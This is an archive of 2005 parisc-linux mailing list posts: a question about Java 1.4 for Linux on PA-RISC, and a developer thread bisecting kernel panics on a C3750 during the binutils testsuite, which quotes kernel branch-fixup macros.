Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C59C7D627;
	Fri, 27 May 2005 10:53:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 631057D615
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 10:53:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26506-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 10:53:41 -0600 (MDT)
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [206.129.116.70])
	by free.linux.hp.com (Postfix) with ESMTP id D79517D611
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 10:53:41 -0600 (MDT)
Original-Received: by mail.apptechsys.com (Postfix, from userid 583)
	id AE1CC7BC4B; Fri, 27 May 2005 09:53:40 -0700 (PDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [206.129.116.141])
	by mail.apptechsys.com (Postfix) with ESMTP
	id C265F7BC49; Fri, 27 May 2005 09:53:38 -0700 (PDT)
X-X-Sender: jeremyd@garibaldi.apptechsys.com
X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on 
	erebus.apptechsys.com
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=3.0.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /jXlYm86eSEkRr6WZHQhaXN1IGRvb8CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22737

Is there a Java 1.4 sdk/jre available for linux on the parisc arch?  I'm 
guessing no, but it doesn't hurt to ask...

If not, is there any porting effort underway?  If not, would it be 
possible for someone (possibly myself) to undertake such a task?  What is 
involved in getting a port started?

I apologize for cross-posting to the parisc-linux list also, but perhaps 
someone there may have some additional insight.  It is not really a 
debian issue, so I did not post to debian-hppa like it says for user space 
issues.  I was a member of the parisc-linux list, but unsubscribed some 
time ago (my box has been so stable I haven't needed it!)


Thanks

-- 
Too much is just enough.
		-- Mark Twain, on whiskey
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c3k panics
Date: Sat, 28 May 2005 21:41:40 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623791 14670 80.91.229.3 (22 Nov 2014 02:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 01:42:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 29 May 2005 03:42:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5170B7D633;
	Sat, 28 May 2005 19:41:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01092-07; Sat, 28 May 2005 19:41:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF9307D635;
	Sat, 28 May 2005 19:41:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6C327D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:41:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00934-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:41:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 335917D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:41:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j4T1fgnV006453 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 21:41:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j4T1ffhI006449
	for parisc-linux@lists.parisc-linux.org;
	Sat, 28 May 2005 21:41:41 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: unjrYt9aeSEkWb6WZHQhaXN1IGRvb8CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22738

I can panic my c3750 very consistently running the binutils testsuite
(cvs source as of 20050526).  I've tried many of the default kernels
to see if I could isolate when the problem was introduced.  The last
kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
in 2.6.12-rc5-pa0 and 2.6.11-pa4.

The sad part is that panic is also broken and no error messages are
produced when the fault occurs.  Before adding panic=180 to the command
line, pressing TOC just yielded a register dump for panic itself.  That's
not too useful.  In my testing, the last working panic dump was with
2.6.9-pa1 which faulted with a HPMC during boot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sat, 28 May 2005 21:50:38 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200505290150.j4T1odcQ006573@hiauly1.hia.nrc.ca>
References: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623792 14672 80.91.229.3 (22 Nov 2014 02:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 01:50:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 29 May 2005 03:50:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9EBD7D423;
	Sat, 28 May 2005 19:50:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02081-03; Sat, 28 May 2005 19:50:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D82A7D60D;
	Sat, 28 May 2005 19:50:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7E197D40A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:50:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01092-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:50:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4ADF37D407
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 May 2005 19:50:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j4T1oenV006574; Sat, 28 May 2005 21:50:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j4T1odcQ006573;
	Sat, 28 May 2005 21:50:39 -0400 (EDT)
In-Reply-To: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca> from "John David
	Anglin" at May 28, 2005 09:41:40 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qnrrYn5+eSEkdb6WZHQhaXN1IGRvb4CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22739

> I can panic my c3750 very consistently running the binutils testsuite
> (cvs source as of 20050526).  I've tried many of the default kernels
> to see if I could isolate when the problem was introduced.  The last
> kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
> in 2.6.12-rc5-pa0 and 2.6.11-pa4.

Hmmm, just noticed that as-new may be using all of the machines memory
and swap space.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 10:32:16 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <42999A30.6070602@tiscali.be>
References: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623792 14674 80.91.229.3 (22 Nov 2014 02:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 10:32:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 29 May 2005 12:32:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10C747D63F;
	Sun, 29 May 2005 04:32:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03189-10; Sun, 29 May 2005 04:32:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08CED7D640;
	Sun, 29 May 2005 04:32:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2E57D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 04:32:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03449-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 04:32:19 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id E528E7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 04:32:18 -0600 (MDT)
Original-Received: from [83.134.227.29] (helo=[83.134.227.29])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DcL5d-00022j-SD; Sun, 29 May 2005 12:32:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: af/rYsYOeSEkbr6WZHQhaXN1IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22740



John David Anglin wrote:
> I can panic my c3750 very consistently running the binutils testsuite
> (cvs source as of 20050526).
mmm the experimental debian bintuils-2.16 seems to works fine for me (kernel 2.6.8.1-pa11 32bit on a b180).

> I've tried many of the default kernels
> to see if I could isolate when the problem was introduced.  The last
> kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
> in 2.6.12-rc5-pa0 and 2.6.11-pa4.
> 
I observe the same differences of behaviour.

Btw, that looks like the pb I encountered many times when I tried CONFIG_DEBUG_SLAB=y?

As I tried to explain in detail (<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-May/026493.html>) there is a big pb with 
this option. Unfortunately, I am not a C programer and so lake of deep knowledges to suggest a proper fix :-(

If it's your case too, can you try without this option.
(or give a try to this patch attempt: <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-May/026474.html>.
it's not perfect but it helps me anyway :-) ).


> The sad part is that panic is also broken and no error messages are
> produced when the fault occurs.  Before adding panic=180 to the command
> line, pressing TOC just yielded a register dump for panic itself.  That's
> not too useful.  In my testing, the last working panic dump was with
> 2.6.9-pa1 which faulted with a HPMC during boot.
> 

The same for me, it seems that the pb appears during 2.6.9 developement;
as far as I can test, it seems that the pb appears between 2.6.9-rc2-pa2 and pa5;
For my part I already tried to revert only this pa5 (just to be sure) 
<http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-September/034576.html>
but it doesn't help :-)

So still have to revert few thing (but it would be hard like fixup stuff) to try to isolate the pb?

Ah still a question: is it the same pb for 32bit and 64bit twin kernel?

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 17:15:46 +0000
Lines: 111
Approved: news@gmane.org
Message-ID: <4299F8C2.2060400@tiscali.be>
References: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
	<42999A30.6070602@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623792 14677 80.91.229.3 (22 Nov 2014 02:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 17:16:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 29 May 2005 19:16:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C66F7D635;
	Sun, 29 May 2005 11:15:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06711-03; Sun, 29 May 2005 11:15:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3BC87D63A;
	Sun, 29 May 2005 11:15:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FB447D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:15:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06199-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:15:51 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id CAF537D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:15:50 -0600 (MDT)
Original-Received: from [83.134.226.79] (helo=[83.134.226.79])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DcRO7-0001cN-Kg; Sun, 29 May 2005 19:15:47 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <42999A30.6070602@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sZ3rYgMGeSEkd76WZHQhaXN1IGRvb0Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22741

Hello Randolph,

Ah that's a week that I reading code, cvs patches archives, ... and seems that something is not equal everywhere but didn't reach to 
point out since I can put together:

arch/parisc/kernel/unaligned.c
[snip]
#define FIXUP_BRANCH(lbl) \
         "\tldil L%%" #lbl ", %%r1\n"                    \
         "\tldo R%%" #lbl "(%%r1), %%r1\n"               \
         "\tbv,n %%r0(%%r1)\n"
[snip]

(since this patche: <http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/unaligned.c?r1=1.12&r2=1.13>
and this comment:
Revision 1.13  - (view) (download) (as text) (annotate) - [select for diffs]
Tue Sep 21 19:50:55 2004 UTC (8 months ago) by tausq
Branch: MAIN
CVS Tags: LINUS_2_6_9_RC3_MERGED, LINUS_2_6_9_RC3_PRE
Branch point for: LINUS_2_6_9_RC3
Changes since 1.12: +2 -3 lines
Diff to previous 1.12

<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024799.html>)

otc in arch/parisc/kernel/syscall.S
[snip]
#ifndef CONFIG_64BIT
         .macro fixup_branch,lbl
         b           \lbl
         .endm
#else
         .macro fixup_branch,lbl
         ldil        L%\lbl, %r1
         ldo         R%\lbl(%r1), %r1
         bv,n        %r0(%r1)
         .endm
#endif
[snip]

(Just for the record e.g. 64bit kernel works fine but not it's twin 32bit on b2k)

Thanks in advance for your relevant advise,
	Joel

Joel Soete wrote:
> 
> 
> John David Anglin wrote:
> 
>> I can panic my c3750 very consistently running the binutils testsuite
>> (cvs source as of 20050526).
> 
> mmm the experimental debian bintuils-2.16 seems to works fine for me 
> (kernel 2.6.8.1-pa11 32bit on a b180).
> 
>> I've tried many of the default kernels
>> to see if I could isolate when the problem was introduced.  The last
>> kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
>> in 2.6.12-rc5-pa0 and 2.6.11-pa4.
>>
> I observe the same differences of behaviour.
> 
> Btw, that looks like the pb I encountered many times when I tried 
> CONFIG_DEBUG_SLAB=y?
> 
> As I tried to explain in detail 
> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-May/026493.html>) 
> there is a big pb with this option. Unfortunately, I am not a C 
> programer and so lake of deep knowledges to suggest a proper fix :-(
> 
> If it's your case too, can you try without this option.
> (or give a try to this patch attempt: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-May/026474.html>. 
> 
> it's not perfect but it helps me anyway :-) ).
> 
> 
>> The sad part is that panic is also broken and no error messages are
>> produced when the fault occurs.  Before adding panic=180 to the command
>> line, pressing TOC just yielded a register dump for panic itself.  That's
>> not too useful.  In my testing, the last working panic dump was with
>> 2.6.9-pa1 which faulted with a HPMC during boot.
>>
> 
> The same for me, it seems that the pb appears during 2.6.9 developement;
> as far as I can test, it seems that the pb appears between 2.6.9-rc2-pa2 
> and pa5;
> For my part I already tried to revert only this pa5 (just to be sure) 
> <http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-September/034576.html> 
> 
> but it doesn't help :-)
> 
> So still have to revert few thing (but it would be hard like fixup 
> stuff) to try to isolate the pb?
> 
> Ah still a question: is it the same pb for 32bit and 64bit twin kernel?
> 
> Thanks,
>     Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
